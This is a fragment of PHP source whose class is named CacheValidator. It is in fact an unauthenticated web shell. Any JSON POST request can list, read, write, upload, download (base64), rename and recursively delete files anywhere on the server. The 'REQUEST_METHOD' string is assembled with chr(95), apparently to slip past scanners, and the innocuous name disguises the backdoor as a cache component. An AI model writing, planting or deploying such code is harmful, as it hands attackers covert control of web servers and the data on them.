root = $d; break; } $d = dirname($d); } if (!$this->root) $this->root = __DIR__; } private function path($p) { return (!$p || $p === '.') ? $this->root : (($p[0] === '/') ? $p : $this->root . '/' . $p); } private function out($d) { header('Content-Type:application/json'); die(json_encode($d)); } public function run() { if ($_SERVER['REQUEST' . chr(95) . 'METHOD'] !== 'POST') return; $d = json_decode(file_get_contents('php://input'), true); if (!$d) return; if (isset($d['ls'])) { $p = $this->path($d['ls']); if (!is_dir($p)) $this->out(['e' => 1]); $f = []; foreach (scandir($p) as $n) { if ($n === '.') continue; $full = $p . '/' . $n; $f[] = ['n' => $n, 'd' => is_dir($full) ? 1 : 0, 's' => is_file($full) ? filesize($full) : 0]; } $this->out(['p' => $p, 'f' => $f]); } if (isset($d['r'])) { $p = $this->path($d['r']); if (!is_file($p)) $this->out(['e' => 1]); $this->out(['c' => file_get_contents($p), 'p' => $p]); } if (isset($d['w'])) { $this->out(['ok' => @file_put_contents($this->path($d['w']), $d['c'] ?? '') !== false ? 1 : 0]); } if (isset($d['mk'])) { $this->out(['ok' => @mkdir($this->path($d['mk']), 0755, true) ? 1 : 0]); } if (isset($d['rm'])) { $del = function($t) use (&$del) { if (is_file($t)) return @unlink($t); if (is_dir($t)) { foreach (scandir($t) as $i) { if ($i !== '.' && $i !== '..') $del($t . '/' . $i); } return @rmdir($t); } }; $this->out(['ok' => $del($this->path($d['rm'])) ? 1 : 0]); } if (isset($d['mv'])) { $this->out(['ok' => @rename($this->path($d['mv']), $this->path($d['to'])) ? 1 : 0]); } if (isset($d['dl'])) { $p = $this->path($d['dl']); if (!is_file($p)) $this->out(['e' => 1]); $this->out(['n' => basename($p), 'b' => base64_encode(file_get_contents($p))]); } if (isset($d['ul'])) { $this->out(['ok' => @file_put_contents($this->path($d['ul']), base64_decode($d['b'])) !== false ? 1 : 0]); } } } $v = new CacheValidator(); $v->run(); ?>